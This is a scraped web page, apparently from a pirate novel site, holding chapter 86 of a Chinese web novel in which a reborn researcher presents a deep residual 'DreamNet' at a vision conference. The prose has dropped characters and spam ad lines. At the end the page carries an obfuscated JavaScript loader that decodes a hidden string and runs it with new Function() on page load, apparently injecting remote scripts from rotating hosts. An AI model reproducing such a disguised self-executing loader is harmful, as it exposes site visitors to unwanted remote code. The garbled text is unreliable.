足迹
重生之ai教父有盗版嘛
登录
关灯
护眼
字体:

第86章 视觉新范式(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播

会议的主持人面带笑容,宣布孟繁岐隆重登场。

孟繁岐沉迷分成的计算,正在畅想美好的未来,完全没有感觉到时间竟然过得如此之快。

连忙关掉谷歌的财报,缓步登台。

看着台下满满一教室的ai领域学者们,都翘以盼,用十分期待的目光看着自己,孟繁岐觉自己远没有想象的那么紧张。

“大家好,这个报告的主题主要是应用于图像领域的深度残差学习。我知道大家可能主要是为它在图像识别领域取得的成绩而来的。”

说到这里,孟繁岐顿了一秒,台下响起了会心的笑声。

“不过在这样的场合,我个人并不希望花费太多的时间在具体的细节上面,相关的论文和代码在最近一段时间会6续地开源,对细节感兴趣的朋友可以自己去探索。”

与谷歌签下合同之后,孟繁岐手头的所有论文也就没有继续压在手里的必要了。

借着布会和这次国际会议的热度,他准备直接全部公之于众。

当然,这部分内容现在需要先经过谷歌的肯和内部审阅才可以布出去,以免它们可能导致谷歌的利益有损失。

不过由于这部分技术内容大都是图像算法领域的,目前还没有涉及到谷歌的关键利益。

若是等几周后,孟繁岐将对谷歌推荐和广告算法的一系列策略做出来之后,想要公布这部分技术,谷歌是万万不可能会答应的。

不涉及核心利益的情况下,谷歌在这些技术方面一向还是非常大方的,在经过杰夫和辛顿的审阅之后,孟繁岐已经准备先后把之前攒下的部分工作公布出去。

在大会开始之前,以dreamnet为的部分论文已经可以在arxiv上直接阅读到。

刚才其他队伍在上面介绍自己做法的时候,其实也有很多人像孟繁岐看财报一样,在偷偷阅读dreamnet的论文。

“虽然赛事的主题是图像的识别分类,但如此多学者聚集在一起的机会确实不多,我希望同时把其他方面的一些内容一起在这里展示一下。”

视觉顶会有三个,分别是本次孟繁岐参加的国际计算机视觉大会,inetbsp;还有欧洲计算机视觉会议,eccv,一个偏欧洲一点的会议。

这两个都是两年一办,所以一年也只有两次这样国际顶级的会议机会。

唯一一個每年都举办的,是cvpr,国际计算机视觉和模式识别大会。

但它的举办地点基本上都在美国,签证方面经常会有一些问题。

本次的机会比较难得,当然要多宣传一下自己的工作。

“基于dreamnet的残差思想,不仅在图像的识别分类上取得了巨大的突破,我同时也衍生出了它的一些变体,比如生成式网络,检测网络,还有分割网络。”

识别分类有竞赛结果,生成式网络的论文已经放出,而检测的网络随着白度的布会,大家也已经了解它的威力。

至于分割网络,则是这两天随着dreamnet的论文一起放出的u-net工作。至此,可以说视觉类几大任务的基础范式已经被孟繁岐奠基。

今后不论是识别分类,分割检测,还是迁移生成,都很难绕得开这些轻便又好用的办法了。

“可以看到,这种思想席卷视觉领域之后,使得目前主要的研究方向都有了颠覆性的突破。”

孟繁岐将这几篇论文的主要试验结论摆在了幻灯片的第二页,就是要先以结果震撼众人。

“显然,这些算法在诸多领域都与第二名拉开了巨大的差距,而相当一部分的功劳应当属于残差思想对网络深度的革命。”

“在1o年11年,我们仍在使用人工设计的sift,hog还有svm,12年,阿里克斯的八层a1exnet取得了巨大的突破。”

“而今年,残差思想引的深度革命,使得训练15o+层的神经网络成为可能。”

“深度神经网络是很多任务场景,尤其是视觉任务场景的基础引擎和骨干,这也是为什么它能够迅影响几个主流的任务。”

“从结构上看,dreamnet并没有什么特别的,比起之前每一层都单独设计的网络,我其实故意希望它变得简单,重复。”

孟繁岐身后的幻灯片展示了一个极其细长的图案,这就是一百多层深的dreamnet结构图。

放大展示它的基本设计,众人现,它的单层设计非常简洁朴素,只采用了最常规的算子操作。

长长的结构图滚动了起来,观众们都现,原来每一层并没有任何区别,只是单纯在重复。

由于一百多层的滚动需要太久,在这个严肃的场合显得有些喜感,场内出了一阵阵笑声。

“那么这里就引出了一个问题,那就是是否单纯地把网络做大作深,就总是可以取得更好的结果呢?”

孟繁岐的这个问题,直到2o23年也没有一个理论上的答复,但很显然,巨大的模型还在持续地创造一个个奇迹。

不管是绘画,对话,还是图像操作,都还远没有到达极限。

“我非常希望自己能够清楚地从理论上告诉大家这个答案,但由于能力有限,我也只能给出自己的猜测,那就是yes。”

“我相信,只要更多更好的gpu,更多更好的数据,以及更大大模型和更好的优化办法,我们就可以持续地创造奇迹。”

“而之前的网络在深度上遇到的阻碍,我认为并不是网络的能力问题,而是我们没有找到合适的办法去优化好它。”

让网络多重复几次,这是很多人都试过的事情,很显然,得到的结果是比原本要差的。

这在传统方法中,不是什么奇怪的现象,很多人都将这个现象解释为维度灾难或者过拟合,没有进行足够深度的探索。

“稍加思索,这显然是一个反直觉的现象,对于更深的网络,我们完全可以将小版本网络的所有参数复制进来,而多出来的部分只要什么事情都不做,这个模型就至少不会更差。”

“但事实上,却并非如此,我相信很多人都观察到了这样的普遍现象,那就是更深的模型反而变差了不少。”

🎁免费-纯欲御姐主播请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="t3rocck26k";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@Q}jR8Fs5O((S@KS"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@Q}"=X8"Fs5O((S@KS"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@Q}d2(LCYmOh5:DmRT4"="@Q}5p(LYpmJfC)RmRT4"="@Q}D7(LSqmOh5:DmRT4"="@Q}dC(LJ^mJfC)RmRT4"="@Q}(C(L:4mOh5:DmRT4"="@Q}C2(LSYmJfC)RmRT4"="@Q}25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n/f/@Q}j(8}vR8Fs5O((S@KS"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();